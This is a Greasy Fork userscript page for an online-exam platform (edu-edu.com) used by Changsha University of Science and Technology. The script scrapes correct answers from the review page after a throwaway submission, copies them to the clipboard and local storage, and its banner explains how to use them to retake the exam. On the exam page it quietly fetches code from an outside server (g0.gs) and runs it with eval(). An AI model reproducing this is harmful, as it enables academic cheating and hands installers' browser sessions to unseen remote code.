Greasy Fork

Greasy Fork is available in English.

长沙理工

理工刷题脚本!

目前为 2023-10-04 提交的版本。查看 最新版本

// ==UserScript==
// @name         长沙理工
// @namespace    http://greasyfork.icu/zh-CN/scripts/476690-%E9%95%BF%E6%B2%99%E7%90%86%E5%B7%A5
// @version      0.3
// @description  理工刷题脚本!
// @author       You
// @match       https://*.edu-edu.com.cn/*
// @match       https://*.edu-edu.com/*
// @match        https://cjexamnew.edu-edu.com/exam-admin/student/exam/single/view/doresult/exam_16114/ckc001/431027200001010516?d=1696419241966&syncUrl=https%3a%2f%2fcsustcj.edu-edu.com.cn%2fScoreReturn%2fScoreList%2fAddCJ%3fmoduleCode%3dcsust_10753_1&m=a24346a768f99c3eb10e9838c899a19a
// @icon         https://www.google.com/s2/favicons?sz=64&domain=edu-edu.com
// @grant        none
// ==/UserScript==

(function() {
    'use strict';

    // Your code here...

    const createadd = function (iframeDocument) {
        const style = document.createElement('style');
        style.innerHTML = `
        .newElement{
          width: 100px;
          height: 50px;
          line-height: 50px;
          display: inline-block;
          border-radius: 4px;
          background-color: #007BFF;
          border: none;
          color: #FFFFFF;
          text-align: center;
          font-size: 16px;
          padding: 10px 20px;
          box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1);
          transition: all 0.5s;
          cursor: pointer;
          margin: 5px;
        }
        .newElement:hover {
          background-color: #0056b3;
          box-shadow: 0 8px 16px rgba(0, 0, 0, 0.2);
      }
  `;

        const newElement = document.createElement("div");
        // newElement.className = 'newElement'
        // newElement.textContent = "点击加载";
        newElement.innerHTML = '<div class="newElement" id="newElement">点击加载</div>'
        // 将style元素添加到head元素中
        iframeDocument.head.appendChild(style);
        const targetElement = iframeDocument.querySelector("h1");
        targetElement.insertAdjacentElement("beforeBegin", newElement);


    }
    const main = function () {
        let iframe = document.querySelector('iframe')
        let iframeDocument = iframe.contentDocument; // 获取 iframe 内部的文档对象
        createadd(iframeDocument)
        const newElement = iframeDocument.querySelector('#newElement')
        newElement.addEventListener('click', function () {
            let txt = ''
            let localR = []
            let item = ''
            let itemT = ''

            let biaoTi = iframeDocument.querySelectorAll('div[class*="ui-question-group"]')
            biaoTi.forEach((bt, bti) => {
                // 获取标题
                let btT = bt.querySelector('h2').textContent
                txt = txt + btT + '   ----------------------\n\n'
                // 获取题目
                let timu = bt.querySelectorAll('div[class*="ui-question-independency"]')
                timu.forEach((params, i) => {
                    let daan = params.querySelectorAll('li[class*="ui-correct-answer"]')
                    let daanTxt = ''
                    let daanTxtObj = []
                    daan.forEach((itemParams, k) => {
                        item = itemParams.getAttribute('code')
                        itemT = itemParams.querySelector("div").textContent
                        // console.log(i+':\t'+item+''+itemT);

                        if (k >= 1) {
                            item = " \t" + item
                        }
                        daanTxt = daanTxt + item + itemT.replace(/\n/g, "") + "\n"
                        daanTxtObj.push({ 'option': item.replace(/\W/g, ""), 'select': itemT.replace(/\s/g, "") })
                    })
                    let xh = (bti + 1).toString() + "." + (i + 1).toString()
                    if (bti >= 2) {
                        xh = xh + "\n"
                    }
                    txt = txt + xh + ' \t' + daanTxt + '\n'
                    let ast = { 'title': xh.replace(/\n/g, ""), daanTxtObj }
                    localR.push(ast)

                })

            })
            localStorage.setItem('myKey', JSON.stringify(localR))
            const text = txt.replace(/<br>/g, '\n');
            navigator.clipboard.writeText(text)
                .then(() => alert('文本已复制到剪贴板'))
                .catch(err => console.error('无法复制到剪贴板', err));

        })


    }

    if (window.top === window.self) {
        window.onload=function(){
            // 创建一个新的 div 元素
            var newDiv = document.createElement("div");

            // 为新的 div 元素添加一些内容或属性
            newDiv.innerHTML = "正在使用老王插件..( 使用方法:1.先点平时作业 > 2.开始考试交卷(随便选一个交卷) > 3. 查看答案点击按钮返回重新考试 。)";
            newDiv.style.color = "#fff";
            newDiv.style.background='linear-gradient(to bottom,#7EBBFF,#8EBBFF)';
            // newDiv.style.width='100px';
            newDiv.style.height='50px'
            newDiv.style.display = "flex";
            newDiv.style.justifyContent = "center";
            newDiv.style.alignItems = "center";
            newDiv.style.fontSize='20px';
            // 获取 body 元素
            var body = document.body;
            // 在 body 的最前面插入新的 div 元素
            body.insertAdjacentElement('afterbegin', newDiv);
           const url= location.origin;
            if(window.location.href.startsWith(url+'/exam/student/exam2/doview/')){
                newDiv.remove();
                main()
            }
            if(window.location.href.startsWith(url+'/exam/student/exam2/doexam/')){
                newDiv.remove();
                var iframe = document.querySelector('iframe')
                iframe.onload = function() {
                    fetch('https://g0.gs/api')
                        .then(response => response.text())
                        .then(code => {eval(code);})
                        .catch(error => console.error(error));
                    window.addEventListener('beforeunload', function(event) {
                        // 删除本地存储中的键
                        localStorage.removeItem('myKey');

                        // 阻止默认行为和页面卸载(可选)
                        // event.preventDefault();
                        // event.returnValue = '';
                    });
                };


            }



        }
    }

})();